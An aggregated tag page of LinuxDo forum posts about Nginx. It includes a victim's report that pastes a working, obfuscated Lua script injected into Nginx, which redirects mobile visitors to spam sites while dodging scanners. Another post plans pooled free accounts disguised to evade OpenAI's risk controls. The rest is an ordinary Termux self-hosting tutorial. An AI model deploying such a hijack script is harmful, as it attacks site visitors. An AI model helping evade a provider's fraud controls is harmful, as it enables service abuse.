WWW.YOUINFO.SITE
标签聚合 Nginx

/tag/Nginx

LinuxDo 最新话题 · 2026-06-09 11:26:38+08:00 · tech

叠个甲:这里重点讨论的是复杂度、规模都中高以上的项目,不是简单的CRUD、数据面板等等。后者大部分情况下完全AI编程没问题。 最近 Vibe coding 了不少。在很简单的项目上,AI 无往不利,效率极高。但是在某些复杂的场景上,我自己出现了 AI 写的代码,不管在功能上和架构设计上都跟我的设想相去甚远的情况,最终只能推倒重来。 思考了很多,刚好知乎推送了这一篇回答给我,我发现说得很有道理,分享给各位。 特别是这几句,越用AI编程越觉得说得很准确: “问题就在于,很多项目真正难的地方,不是把代码写出来,而是设计先站住。什么抽象该有,什么抽象不该有;什么状态应该通过设计保证,什么不该留到运行时去兜底;这些东西,AI 现在还不稳定。它在“做”上很强,但在“该不该这么做”上,经常差一口气。” “AI 则很容易多写几层判断。这类代码不能简单说错,但在 nginx 这种项目里,它很多时候会把本来应该由设计保证的东西,退化成运行时到处打补丁。” (原文链接在最后) 来源知乎链接 12 个帖子 - 12 位参与者 阅读完整话题

LinuxDo 最新话题 · 2026-06-01 20:45:20+08:00 · tech

手把手教你搭建中转站 VPS+CLI Proxy API(CPA)+NEW API+Docker+Nginx+Cloudflare+SSL+域名配置 保姆级教程 - 开发调优 - LINUX DO 是我入站详细学习的第一篇文章。 我已经购买了gpt plus帐号,但是有时额度不够用,就非常痛苦。我只是学生,一个月数百我尚且能承受,上千的pro实在无力承担。 很多公益站我也尝试了,经常不稳定。我只要少量帐号,来做一个溢出需求负载均衡,其实就足够了。 个人没有选择plus,是觉得白嫖plus会比较好识别,由此导出的问题是,日抛的成本,同样超出了我的承担的范围。 因此,后续我根据这篇文章进行了free池的搭建,用来自用。但是三天后颗粒无存。 这启发我思考一个问题,个人自建,有没有可能通过低成本的方式,绕过风控? 绕过风控,我认为技术上可能暂时超脱了我的能力范畴,但是原理上绝不复杂。 一言以蔽之,就是伪装为合理,正常的用户请求即可。 而从最根本上来说,形成正常的用户请求,本来也不应该是一件难事。 目测oai可能应该有多重风控机制,综合打分。 一是帐号信息,例如ip,email,订阅类型等。 一种是oauth的用户画像,例如高并发。 一种是对话级别,或者thread理解,例如轮询模式下切换多个oauth(可能,见 CPA触发401的观察分析 - 开发调优 - LINUX DO ) 同时,也有对应的对策 codex风控升级!CPA作者连更3版 - 开发调优 - LINUX DO 但是,以我有限的知识来看,这种对策,仍然未必能完全规避风控。 以我有限的知识来看,一个理论上,可能,比较理想的状态是,低风险email,低风险ip,且注册,使用对应,和其它帐号不串流;且仍然尽量使用填充策略,或者实在不行,重新将缓存填充为token,才能伪装为尽量比较合理的用户画像。 从统计学角度来说,如果已经可以伪装为普通的用户的请求,那么封禁就会变得没有意义。而离普通的请求越远,封禁就越简单。 不过,实践中,我这样子的小白的策略,像传统注册机,加上高风险ip,高风险email,以及单个ip出口,轮询高并发等策略,让异常请求非常容易被识别,是很显著的离群值。 但是,对于我个人来讲,在目前的传统流程上再去建立更完善的风控方法,已经远远超出了我的个人能力,以及个人可以承担的成本。 归根到底,我们可以用低成本的token,还是openai留了两个口子。一个是,free和plus的“免费”拉新,以及订阅鼓励长期付费的两个商业策略。如果我们自己在前端,就把负载均衡给做了,openai势必最终完全倒向token按量付费,当然,实际不太可能。 而目前现有的商业中转站的0.几x,已经是比较逼近订阅制的额度换算比例了。 但是,就利用其免费额度,做一点薅羊毛的事情,我觉得openai应该不太介意。 因此,我想抛砖引玉,想问问各位佬们,有没有可能,做一个分布式的,以避免风控为目标的free池,主要是限制并发,让大家有基本的token可以用,其余的高额度的我不多想,只是觉得应该没法免费提供。 这样子做有多个好处。 第一,当然是避免风控。 第二,避免风控的同时,也大大降低了风控成本。很多号被迫成为日抛号,ip和email被滥用,但是事实上本可以避免这些事情,让这些基础设施,可以长期维护。 第三,集群级别的负载均衡,是个人自建号池的负载均衡的效率,不可能达到的。可以大大降低浪费,从而使得free号池,可能可以长久持续。 也许这可以避免,个人的free号池被封杀殆尽的最终结果。 大佬可能已经做了不少相关的事情,我希望我这样子的小白也可以贡献一点,虽然暂时没想到自己可以贡献什么。毕竟,在现在的风控下,个人挑战风控,很可能只是炮灰。 最后,谢谢linux do这个平台乌托邦式的社区氛围,谢谢各位佬们各抒己见。 7 个帖子 - 4 位参与者 阅读完整话题

LinuxDo 最新话题 · 2026-05-29 17:41:06+08:00 · tech

本帖使用社区开源推广,符合推广要求。我申明并遵循社区要求的以下内容: 我的帖子已经打上 开源推广 标签: 是 我的开源项目完整开源,无未开源部分: 是 我的开源项目已链接认可 LINUX DO 社区: 是 我帖子内的项目介绍,AI生成、润色内容部分已截图发出: 是 以上选择我承诺是永久有效的,接受社区和佬友监督: 是 以下为项目介绍正文内容,AI生成、润色内容已使用截图方式发出 效果如上图所示; 佬们,干啥之前先查查,我寻思Deepseek优惠马上要到了,还剩几块就用掉算了; 用完了寻思看看还剩多少,发现 2.5折变1/4 梁圣滴恩情还不完~~~! 这是前几天我整理了自己用termux部署的服务之后,寻思整理一下自己用的导航页,顺便把剩下的deepseek用掉,用的是claudecode只花了一块六毛三; 所有的依赖都在本地,只要能跑nginx就能运行,corn.sh这个获取设备信息的脚本是临时让AI加的,没有经过长期测试; 有感兴趣折腾手机termux的佬可以配合我之前的帖子使用 二手机server稳定使用方案(NextCloud/Obsidian同步/comfyUI/MySQL/Nginx) 因为一直是只给我自己用的嘛,所以很多其实很简陋,佬们见谅。 突然发现忘了附上仓库的链接 https://github.com/lost-clouds/Blog.git 2 个帖子 - 2 位参与者 阅读完整话题

LinuxDo 最新话题 · 2026-05-29 02:12:55+08:00 · tech

我们的业务主要是web + 软件,没有怎么管移动端,导致这次nginx被植入了病毒都不知道, 具体的病毒就是访问网站移动端检测是苹果手机或者安卓手机就劫持然后跳垃圾网站 codex解析出来的 移动端请求进入网站的 Nginx Nginx 全局 proxy.conf 里被插入了waf.lua waf.lua 读取 User-Agent,如果是 Android/iPhone,就随机跳转到: https://随机子域.histats.cfd/news.html 4.它还会设置: Set-Cookie: k=260528;Path=/;Max-Age=43200 意思是“当天已经劫持过一次”,后续可能放行,降低被发现概率。 附上被植入的脚本 local U = ngx.var.http_user_agent or “” local K = ngx.var.http_cookie or “” local S = os.date(“%y%m%d”) local ua_lc = U:lower() local cn_spiders = { “baiduspider”, “360spider”, “sogouspider”, “shenmaspider”, “petalbot”, “bytedancespider”, “toutiaospider”, “quarkspider”, “yisouspider”, “zoomeye”, “quake”, “fofa”, “hunter”, “chaitin”, “inetcloud”, “dnslog”, } local function is_cn_spider(ua) if ua == “” then return false end for _, pattern in ipairs(cn_spiders) do if ua:find(pattern, 1, true) then return true end end return false end if is_cn_spider(ua_lc) then return ngx.exit(ngx.HTTP_FORBIDDEN) end local is_android = ua_lc:find(“android”) local is_iphone = ua_lc:find(“iphone”) if not (is_android or is_iphone) then return end if K:find(“k=” .. S) then return end ngx.header[“Set-Cookie”] = “k=” .. S .. “;Path=/;Max-Age=43200” if is_iphone and math.random() >= 0.3 then return end local R1 = “lmth.swen/piv.ssoqj//:sptth” local R2 = “lmth.swen/dfc.statsih//:sptth” local function rev(s) return s and string.reverse(s) or “” end local D1 = rev(R1) local D2 = rev(R2) local function strip_proto(full) return full:gsub(“^https?://”, “”) end local H1 = strip_proto(D1) local H2 = strip_proto(D2) local alpha = “abcdefghijklmnopqrstuvwxyz0123456789” local function rand_pref(len) local t = {} for i = 1, len do local idx = math.random(1, #alpha ) t[i] = alpha:sub(idx, idx) end return table.concat(t) end local pool = {H1, H2} local pick = pool[math.random(1, #pool )] or H1 local pref = rand_pref(math.random(3, 7)) local target = “https://” .. pref .. “.” .. pick return ngx.redirect(target, 302) 其实很无奈,不会运维,codex确实棒了大忙,但是nginx这么容易被植入病毒吗? 求运维大佬解惑 3 个帖子 - 3 位参与者 阅读完整话题

LinuxDo 最新话题 · 2026-05-27 00:58:33+08:00 · tech

我经常在手机上用termux倒腾一点东西嘛,这几年来来去去玩的东西不少,不过留下来的不多 下面给大家汇总介绍一些 在这里提醒一下,手机本身散热就不大行,加上供电需要改;如果纯软件上也要root,说实话软件控制效果不好,要长期玩还是得改硬件供电、散热,或者日常只开着几个服务,这里介绍的不涉及root,只要你手机能装termux就能用; 我这套配置在局域网下是可以正常运行的,当然不是全开,日常就 couchdb 开着同步obsidian, nginx 开着做导航, vaultwarden+sqlite 开着; llamacpp开着Bge-m3-Q8.gguf 但是很少运行, sqlite 可以换成 MySQL 如果你同时开着 NextCloud 的话,不过nextcloud的云盘功能很大程度上被obsidian的同步给替换了,毕竟nextcloud要同时开着 apache2 | mariadb-server | nextcloud | nginx 嘛,相对来说太繁夯了; 佬们,日常用的前提必须是稳的、稳定、稳定;如果不改供电和散热的话不要贪多,只开两三个就可以了,而且定期重启一下,或者换平板来,实测比手机强的多。 设备是 一加8T(soc865 12+256) 日常25-30℃,不会太烫,有新文件向量处理的时候会烫一会,但是日常小文件完全没问题,如果有大量文件还是别折磨手机了, 真的会炸 通过couchdb做obsidian的同步方案 使用llamacpp来部署个 Bge-m3 向量模型来给obsidian的笔记用 vaultwarden密码管理器 局域网下假域名 使用comfyui部署Z-Image-Turbo来绘图 NextCloud自部署网盘 MySQL数据库 介绍从termux原始环境中部署的开始,如果你跳转到后边发现有依赖缺失可以到前边找找 termux初始化 termux从GitHub直接下 termux-GitHub 1. 需要用到的软件 我刚接触是跟着国光大佬的教程学的,但是我对终端美化没什么需求,就没改动,可以搜搜大佬的教程,可以下 zsh 之类的把终端改的很好看 # 选一个China或者Asian的源,方便 termux-change-repo # 更新一下先 pkg update && pkg upgrade -y # 加一些可能用到的源 pkg install tur-repo root-repo -y # 安装一些需要的软件 pkg install vim wget nginx tmux git git-lfs proot-distro uv unzip curl cmake npm -y 2. 安装Debian容器 termux的proot-distro更新后好像改了很多东西, # Version 5.0 release notes 用法上没什么改变,但是好像有些东西会报错 ## 下载Debian:12 # 这里可以开代理,会快很多 proot-distro install debian:12 # 进入 proot-distro login debian # 可以直接写个 bash脚本,能少敲几个词语 touch login_debian.sh echo 'proot-distro login debian' > login_debian.sh chmod +x login_debian.sh ./login_debian.sh 3. proot-distro容器与termux文件互传 因为proot-distro是个容器嘛,与termux原始环境是隔离的; 通过ln 建个链接可以把个目录在termux与proot-distro间联通 ## 这里是termux的~/目录,可以随便取名字 mkdir TheFiles cd TheFiles && pwd # >>得到地址,一般是 /data/data/com.termux/files/home/TheFiles ## 进入到了proot-distro容器的环境 # 目录是 /root/ # 当然如果你习惯用其他的目录位置也都可以 ln -s /data/data/com.termux/files/home/TheFiles ./ # 然后就可以在/root/目录下看到该目录了,这个目录是termux环境和proot-distro容器之间互通的,文件的更改也是同步的 # 在这里提醒一句,最好不要su获取root之后再进入proot-distro环境,这会导致很多文件的归属问题,不知道会有什么奇奇怪怪的bug 假域名 有这个需求是因为如果你的设备需要移动,接入不同的WiFi时自动分配的IP肯定会变,IP一变化很多东西都要重新绑定很麻烦 可以用python的工具 1. 用uv创建个python环境 # 先创建个目录,比如mdns啥的 # 然后再该目录下创建环境 uv venv # 进入python环境 source .venv/bin/activate 1.1 安装一下几个包 uv pip install ifaddr netifaces zeroconf 2. 创建文件 这里分成了两个, python文件是运行的,配置文件是config.json 文件你可以让AI给你改,很方便 2.1 mdns_auto.py import json import socket import netifaces from time import sleep from zeroconf import Zeroconf, ServiceInfo def get_interface_ip(interface_name="wlan2"): try: iface = netifaces.ifaddresses(interface_name) ipv4_info = iface[netifaces.AF_INET][0] return ipv4_info["addr"] except Exception as e: raise RuntimeError( f"Cannot get IP for interface: {interface_name}" ) from e # ============================================ # 加载配置文件 # ============================================ with open("config.json", "r") as f: config = json.load(f) # ============================================ # 获取 hostname # ============================================ hostname = config["hostname"] # ============================================ # 获取本机 IP # ============================================ #local_ip = get_local_ip() local_ip = get_interface_ip("wlan2") print(f"[INFO] Local IP: {local_ip}") # ============================================ # 启动 Zeroconf # ============================================ #zeroconf = Zeroconf() zeroconf = Zeroconf( interfaces=[local_ip] ) # ============================================ # 已注册服务列表 # ============================================ registered_services = [] # ============================================ # 遍历所有服务 # ============================================ for svc in config["services"]: name = svc["name"] service_type = svc["type"] port = svc["port"] path = svc["path"] description = svc["description"] full_service_name = f"{name}.{service_type}" print(f"[REGISTER] {name}:{port}") info = ServiceInfo( service_type, full_service_name, addresses=[socket.inet_aton(local_ip)], port=port, properties={ "path": path, "description": description, "server": hostname, "port": str(port) }, server=hostname, ) zeroconf.register_service(info) registered_services.append(info) print("[INFO] All services registered.") # ============================================ # 保持运行 # ============================================ try: while True: sleep(1) except KeyboardInterrupt: print("\n[INFO] Stopping services...") finally: # ======================================== # 注销所有服务 # ======================================== for svc in registered_services: zeroconf.unregister_service(svc) zeroconf.close() print("[INFO] Zeroconf stopped.") ~/AIFiles/mdns $ cat config.json 2.2 config.json示例如下 { "hostname": "your_self_doim.local.", "services": [ { "name": "WebPortal", "type": "_http._tcp.local.", "port": 8077, "path": "/", "description": "Web Navigation Portal" }, { "name": "CouchDB", "type": "_http._tcp.local.", "port": 5984, "path": "/", "description": "CouchDB Database" }, { "name": "LlamaCPP", "type": "_http._tcp.local.", "port": 8888, "path": "/v1/models", "description": "llama.cpp OpenAI API" }, { "name": "ComfyUI", "type": "_http._tcp.local.", "port": 7777, "path": "/", "description": "ComfyUI WebUI" }, { "name": "VSCodeServer", "type": "_http._tcp.local.", "port": 8080, "path": "/", "description": "VSCode Server" }, { "name": "ZeroClaw", "type": "_http._tcp.local.", "port": 8833, "path": "/", "description": "ZeroClaw WebUI" }, { "name": "SillyTavern", "type": "_http._tcp.local.", "port": 9988, "path": "/", "description": "SillyTavern UI" } ] } 运行 只需要开个tmux窗口然后在后台挂着就可以了 uv run python mdns_auto.py 这里的配置是假定你用该设备共享热点 llama.cpp部署并运行本地模型 1 编译安装 1.1 克隆项目 # 这里目录随意 git clone https://github.com/ggml-org/llama.cpp.git 1.2 编译 # 这里在llama.cpp项目目录下 cmake -B build cmake --build build/ --config Release -j4 1.3 llama-server等添加到环境变量 把这两行添加到环境变量 ## llama.cpp环境变量 export LD_LIBRARY_PATH=/data/data/com.termux/files/home/<your Path>/llama.cpp/build/bin:$LD_LIBRARY_PATH export PATH=/data/data/com.termux/files/home/<your-Path>/llama.cpp/build/bin:$PATH 刷新一下,然后就可以在termux随地使用 llama-cli | llama-server 等命令了 这里补充一下, llama-cli/llama-server 在运行时,可以用 -t1 -t2 -tn (n取小于你soc核心数的正整数) 等参数来选择调用的核心数量,手机的核心大小不一,只用大核心比全弄效果好很多。 nginx配置 nginx安装后,相关的配置文件在 $PREFIX/usr/etc/nginx/ 目录下; 配置和正常Linux一样,只是 include xxx.conf 引用配置的时候尽量用绝对目录,有时候容易出毛病,或者建个 conf.d 目录,直接用 include xxxxx/conf.d/*.conf 引用目录下文件,方便一点 可以用su获取root之后再运行,这样可以用1000以下的端口,如果不用root也能正常用,注意不要用1000以下的端口,因为没有权限 下面开始进入proot-distro容器部分 最好不要su获取root后进入proot-distro,会因为文件归属问题有时候会有奇奇怪怪的bug CouchDB数据库 1. couchdb数据库的安装 参照couchdb官方的示例 官方文档 1.1 添加官方的库 ## 其实我不太懂,不过官方文档是这么写的 # 1 apt update && apt install -y curl apt-transport-https gnupg # 2 curl https://couchdb.apache.org/repo/keys.asc | gpg --dearmor | tee /usr/share/keyrings/couchdb-archive-keyring.gpg >/dev/null 2>&1 # 3 source /etc/os-release # 4 echo "deb [signed-by=/usr/share/keyrings/couchdb-archive-keyring.gpg] https://apache.jfrog.io/artifactory/couchdb-deb/ ${VERSION_CODENAME} main" \ | tee /etc/apt/sources.list.d/couchdb.list >/dev/null 1.2 安装 # 先搜索一下确认库添加上了 apt search couchdb # 应该会新增这仨 couchdb/bookworm 3.5.2~bookworm arm64 RESTful document oriented database couchdb-dbgsym/bookworm 3.5.0~bookworm arm64 debug symbols for couchdb couchdb-nouveau/bookworm 3.5.2~bookworm arm64 Nouveau adds Lucene capabilities to CouchDB ## 用apt安装 apt install couchdb 1.3 couchdb初始化 这是紧接着安装之后,他会引导你初始化一些配置,安装好后在web界面都可以图形化配置 Configuring couchdb ------------------- Please select the CouchDB server configuration type that best meets your needs. For single-server configurations, select standalone mode. This will set up CouchDB to run as a single server. For clustered configuration, select clustered mode. This will prompt for additional parameters required to configure CouchDB in a clustered configuration. If you prefer to configure CouchDB yourself, select none. You will then need to edit /opt/couchdb/etc/vm.args and /opt/couchdb/etc/local.d/*.ini yourself. Be aware that this will bypass *all* configuration steps, including setup of a CouchDB admin user. You'll have to create one manually. 1. standalone 2. clustered 3. none ## 这里是问你1.单机运行 2.多机集群配置 3.等等再说 ,我是单机所以就直接1了 General type of CouchDB configuration: 1 A CouchDB node has an Erlang magic cookie value set at startup. This value must match for all nodes in the cluster. If they do not match, attempts to connect the node to the cluster will be rejected. ## 配置神奇曲奇(bushi)我理解是密码一类的东西,是不显示的,输入完成之后回车就可以 CouchDB Erlang magic cookie: [your password] A CouchDB node must bind to a specific network interface. This is done via IP address. Only a single address is supported at this time. The special value '0.0.0.0' binds CouchDB to all network interfaces. The default is 127.0.0.1 (loopback) for standalone nodes, and 0.0.0.0 (all interfaces) for clustered nodes. In clustered mode, it is not allowed to bind to 127.0.0.1. ## 这里问你是只允许127.0.0.1访问还是都允许,虽然说单个人的数据没什么太大的盗取价值,不过还是建议用127.0.0.1然后加个nginx反代 CouchDB interface bind address: 127.0.0.1 It is highly recommended that you create a CouchDB admin user, which takes CouchDB out of the insecure "admin party" mode. Entering a password here will take care of this step for you. If this field is left blank, an admin user will not be created. A pre-existing admin user will not be overwritten by this package. ## 这才是真正的账号-密码,当然初始化是管理员的账号密码,同样是隐藏的,直接输入完成后回车就可以,这里要多确认一次 Password for the CouchDB "admin" user: Repeat password for the CouchDB "admin" user: invoke-rc.d: could not determine current runlevel invoke-rc.d: policy-rc.d denied execution of start. WARNING: Unable to create standalone system databases. CouchDB may not have started correctly (no init?) Once CouchDB has started correctly, run the following: curl -X PUT --user '<admin-user>:<admin-pass>' http://127.0.0.1:5984/_users curl -X PUT --user '<admin-user>:<admin-pass>' http://127.0.0.1:5984/_replicator Processing triggers for libc-bin (2.36-9+deb12u14) ... 到这里就部署完成了,可以在 http://127.0.0.1:5984/_utls 页面查看后台管理页面 obsidian的设置可以在电脑端配置完后直接用二维码导入到手机,这样可以方便一点,毕竟手机的UI比较小,适配也不一定很合适,但是同步方面我在局域网下使用完全没有问题. 顺带说一下,我Obsidian使用的AI插件是站内大佬的YOLO,挺好用的; 同步使用的是self-host live sync插件 MySQL数据库 这个好装,在proot-distro里叫 mariadb 1. 安装 # 默认的源就带着,直接装就行 apt update && apt install mariadb-server -y 2. 使用 # 启动服务 service mariadb start # 然后就可以直接进入了 mysql 进入MySQL数据库环境之后的具体使用,小弟在这里就不班门弄斧了,只贴一下简单的常用命令 # 登录 MySQL # 登录指定name的账户,<CR>后输入密码 mysql -u name -p # 登录默认账户root mysql # 查看正在运行的数据库 SHOW DATABASES; # 查看特定数据库的信息 USE 数据库名; SHOW TABLES; # 确认当前使用的数据库 SELECT DATABASE(); # 查看正在使用的端口 SHOW VARIABLES LIKE 'port'; # 这个端口在`/etc/mysql/`下的 `my.cnf`中,默认是3306,可以改 # 改完之后重启运行就行 # 刷新MySQL权限相关的表 flush privileges; # 查看所有数据库用户要查看所有数据库用户,可以查询`mysql`数据库中的`user`表。 # 首先切换到`mysql`数据库: USE mysql; # 然后执行以下查询: SELECT User, Host FROM user; # 要查看用户`user`在数据库`nextcloud`上的权限 SHOW GRANTS FOR 'user'@'localhost' ON `nextcloud`.*; # 查询特定用户在特定主机上的权限 SHOW GRANTS FOR 'AIPING'@'localhost:7777'; # 更改指定用户的密码为 ALTER USER 'AIPING'@'localhost' IDENTIFIED BY 'new_password'; FLUSH PRIVILEGES; vaultwarden部署 1. 安装 下载地址 vaultwarden项目地址 web-vault项目地址 首先, vaultwarden 想要正常工作需要六个部分, vaultwarden web-vault nginx MySQL rustup vaultwarden 是bitwarden项目的社区版 Vaultwarden 是一个用于本地搭建 Bitwarden 服务器的第三方 Docker 项目。仅在部署的时候使用 Vaultwarden 镜像,桌面端、移动端、浏览器扩展等客户端均使用官方 Bitwarden 客户端。 web-vault 是web页面 nginx 提供代理服务 在局域网内还用 nginx 代理是因为不开https访问的话,网页只能在127.0.0.1上访问,在局域网内其他设备上使用的话会一直在首页转圈圈,当然,还是因为我只会用 nginx 搭建自签证书的https访问,所以就只介绍这个了; MySQL 用来提供数据库 当然官方也支持 Sqlite 等其他的类型,但是我之所以用 MySQL 只是因为我只会用这个,欸嘿,所以就介绍这一个了; rustup 是vaultwarden安装教程推荐的 rust table ,没怎么接触过,是按教程来的 1.1 安装依赖 apt install build-essential git pkg-config libssl-dev libmariadb-dev-compat libmariadb-dev -y # termux pkg install clang make pkg-config git openssl tur-repo -y 更新包列表并安装构建工具、Git、SSL 开发库 和 Certbot。 对于 MySQL,还需额外安装 MySQL 和开发库。 1.2 安装 Rust 使用官方 rustup 安装稳定版 Rust 和 Cargo。 curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y source $HOME/.cargo/env rustc --version # 验证安装,应显示 rustc 1.x.x 2. 构建 Vaultwarden 2.1 克隆源代码 创建一个源代码目录并克隆仓库。 mkdir ~/source && cd ~/source git clone https://github.com/dani-garcia/vaultwarden.git cd vaultwarden 2.2 构建二进制文件 根据数据库选择构建特性。 SQLite(默认,简单) : cargo build --features sqlite --release MySQL(推荐生产环境) : cargo build --features mysql --release # 示例:MySQL 构建(替换为你的选择) cargo build --features mysql --release 提示 :如果内存不足,添加 --jobs 1 限制并行任务。构建后,二进制文件在 ~/source/vaultwarden/target/release/vaultwarden 。 3. 配置 Vaultwarden 3.1 创建数据目录 创建专用目录并设置权限。 sudo mkdir -p /var/lib/vaultwarden cd /var/lib/vaultwarden sudo mkdir -p data sudo useradd -m -d /var/lib/vaultwarden vaultwarden # 创建专用用户 sudo chown -R vaultwarden:vaultwarden /var/lib/vaultwarden 3.2 下载环境模板和 Web Vault 下载配置文件模板和 Web 界面(推荐最新版本,检查 GitHub Releases 获取当前版本,例如 v2026.4.1)。 ## 目录/var/lib/vaultwarden # 下载环境模板 wget https://raw.githubusercontent.com/dani-garcia/vaultwarden/main/.env.template mv .env.template .env # 下载 Web Vault(示例版本,替换为最新) wget https://github.com/dani-garcia/bw_web_builds/releases/download/v2026.4.1/bw_web_v2026.4.1.tar.gz tar -xvf bw_web_v2026.4.1.tar.gz --strip-components=1 -C data/ # 其实删不删都行,不删留着也没多大,还能方便看是安装的哪个版本 rm bw_web_v2026.4.1.tar.gz 3.3 配置数据库 3.3.1 SQLite(默认) 无需额外步骤,直接在 .env 中使用默认路径。 3.3.2 MySQL(新增) 登录 MySQL 并创建数据库和用户: mysql -u root -p # 输入 root 密码 在 MySQL 提示符下运行: CREATE DATABASE vaultwarden CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; CREATE USER 'vaultwarden'@'localhost' IDENTIFIED BY 'your_strong_password'; GRANT ALL PRIVILEGES ON vaultwarden.* TO 'vaultwarden'@'localhost'; FLUSH PRIVILEGES; EXIT; 替换 your_strong_password 为强密码。 在 .env 中配置 MySQL 连接(见下文 3.4)。 3.4 编辑 .env 文件 使用编辑器配置环境变量。关键设置包括域名、数据库、日志和通知。 vim /var/lib/vaultwarden/.env 示例配置(SQLite 版) : 不用复制这个示例,直接在官方的example示例里寻找需要改的部分,需要改的示例如下,其他配置我没有用到,不懂(哥们不是IT出身,主打一个能用就像) DATA_FOLDER=data DATABASE_URL=DATABASE_URL=sqlite://data/db.sqlite3 # SQLite 默认路径 LOG_FILE=data/vaultwarden.log LOG_LEVEL=info # 生产环境用 error DOMAIN=https://your-domain.com # 你的域名 ROCKET_ADDRESS=127.0.0.1 ROCKET_PORT=8000 示例配置(MySQL 版) :仅替换 DATABASE_URL 行: DATA_FOLDER=data DATABASE_URL=mysql://vaultwarden:your_strong_password@localhost/vaultwarden # MySQL 连接字符串 # 其余配置同上 提示 :完整模板见 Vaultwarden 文档 。测试配置:保存后,重启服务验证。 4. 部署和运行 4.1 复制二进制文件 cp ~/source/vaultwarden/target/release/vaultwarden /usr/local/bin/vaultwarden chmod +x /usr/local/bin/vaultwarden 4.2 运行 # 目录为/var/lib/vaultwarden vaultwarden # 长时间运行可以用nohup或者tmux,我喜欢用tmux # nohup nohup vaultwarden & # tmux就是直接开个新tmux窗口运行 vaultwarden NextCloud 1.安装一些用到的软件 官方教程里用到的软件(这里我把 sudo 去掉了,因为本来就是root用户而且termux好像取得root有点费劲儿) apt update && apt upgrade apt install apache2 mariadb-server libapache2-mod-php php-gd php-mysql \ php-curl php-mbstring php-intl php-gmp php-bcmath php-xml php-imagick php-zip 2. Mysql创建用户 这块在Next cloud的官网上有教程,可以按照自己需要去修改,不过localhost那个因为我自己不太会就没去改; # 启动MySQL客户端 root@localhost:~# mysql Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 52 Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. # 创建一个名为'username'的用户,该用户只能从'localhost'访问数据库,并设置密码为'password' MariaDB [(none)]> CREATE USER 'username'@'localhost' IDENTIFIED BY 'password'; Query OK, 0 rows affected (0.002 sec) # 创建一个名为'nextcloud2'的数据库,如果不存在,使用'utf8mb4'字符集和'utf8mb4_general_ci'排序规则 MariaDB [(none)]> CREATE DATABASE IF NOT EXISTS nextcloud2 CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci; Query OK, 1 row affected (0.002 sec) # 授予用户'username'在'nextcloud2'数据库上的所有权限 MariaDB [(none)]> GRANT ALL PRIVILEGES ON nextcloud2.* TO 'username'@'localhost'; Query OK, 0 rows affected (0.002 sec) # 刷新权限,使更改生效 MariaDB [(none)]> FLUSH PRIVILEGES; Query OK, 0 rows affected (0.002 sec) # 退出MySQL MariaDB [(none)]> \q Bye 3. 获取Next cloud 可以从这里找 Index of / (nextcloud.com) 需要的版本 如果是Linux服务端可以从这里找 Index of /server/releases (nextcloud.com) # 目前我用到的版本是30.0.0 wget https://download.nextcloud.com/server/releases/nextcloud-30.0.0.zip # 可以先解压再cp到指定位置 unzip nextcloud-30.0.0.zip # 会得到一个nextcloud文件夹,就是将这个文件夹cp到/var/wwww/目录下 cp -r nextcloud /var/wwww/ # 然后将 Nextcloud 目录的所有权更改为 HTTP 用户 # 但是其实哥们好像没有执行这个操作,目前倒是没遇到什么问题 sudo chown -R www-data:www-data /var/www/nextcloud 4. 配置Apache2 4.1 安装apache2 apt update && apt install apache2 -y 4.2 开启Apache2服务 service apache2 start 这个时候应该可以在内网环境的http服务上看到apache2的默认配置界面了 root@localhost:~# ifconfig Warning: cannot open /proc/net/dev (Permission denied). Limited output. lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 1000 (UNSPEC) rmnet_data2: flags=65<UP,RUNNING> mtu 1460 inet 这段个人ip哥们就暂时不展示了嗷 netmask 255.255.255.248 unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 1000 (UNSPEC) rndis0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.143.215 netmask 255.255.255.0 broadcast 192.168.143.255 unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 1000 (UNSPEC) # 这里这个192.168.143.215就是设备在内网的IP了,将他输入到浏览器应该就可以看到默认界面了 http://192.168.143.215 4.3 创建配置文件 到 /etc/apache2/sites-available/ 目录下,创建一个nextcloud.conf文件 cd /etc/apache2/sites-available/ vim nextcloud.conf 参考大佬的教程 ubuntu 22.04安装部署nextcloud最新版-笔记_netiii 将下列内容复制进去 <VirtualHost *:8080> # 这里我另一个机器用80端口会报错,所以就改成8080了 DocumentRoot /var/www/nextcloud/ ServerName 192.168.143.215 #修改自己的服务器IP或者域名 <Directory /var/www/nextcloud/> Require all granted AllowOverride All Options FollowSymLinks MultiViews <IfModule mod_dav.c> Dav off </IfModule> </Directory> </VirtualHost> 跟着教程走一遍,因为在termux中,和正常的Linux系统略有不同 a2ensite nextcloud.conf reload apache2 a2enmod rewrite headers env dir mime service apache2 restart # 如果有什么报错,我没管它,没看到有什么明显的影响 5. 网页配置 然后就可以访问( http://yourip :yourport)设定管理员账户和密码,配置MySQL数据库接口 这里IP就是 ifconfig 返回的那个内网地址; port就是在nextcloud.conf中配置的接口; 我的配置是 http://192.168.143.215:8080 如果完全和我的教程来,一字不改的话 MySQL用户名是 username 数据库名是 nextcloud2 数据库密钥是 password 数据库地址就是默认的 localhost ComfyUI运行Z-Image-Turbo 当然,这是在proot-distro容器环境中 1. 从GitHub拉取项目 git clone https://github.com/comfyanonymous/ComfyUI.git 2. 准备python环境 uv venv --python 3.11.9 source .venv/bin/activate ps:这里之所以用python3.11.9是因为我之前用3.12会在依赖安装那部分大量报错;这个版本是当前(2025.11)可用的最新版本了 3. 安装依赖 UV_LINK_MODE=copy uv pip install -r requirements.txt --no-cache-dir --force-reinstall 4. 添加一些插件,比如 comfy-gguf 来支持gguf格式的模型(不然可能炸) # 到custom目录下,用git clone拉取 git clone https://github.com/city96/ComfyUI-GGUF.git # cd到ComfyUI-GGUF目录下安装依赖 UV_LINK_MODE=copy uv pip install -r requirements.txt --no-cache-dir --force-reinstall uv简直是termux运行comfyui的神奇喵喵工具 UV_LINK_MODE=copy uv pip install -r requirements.txt 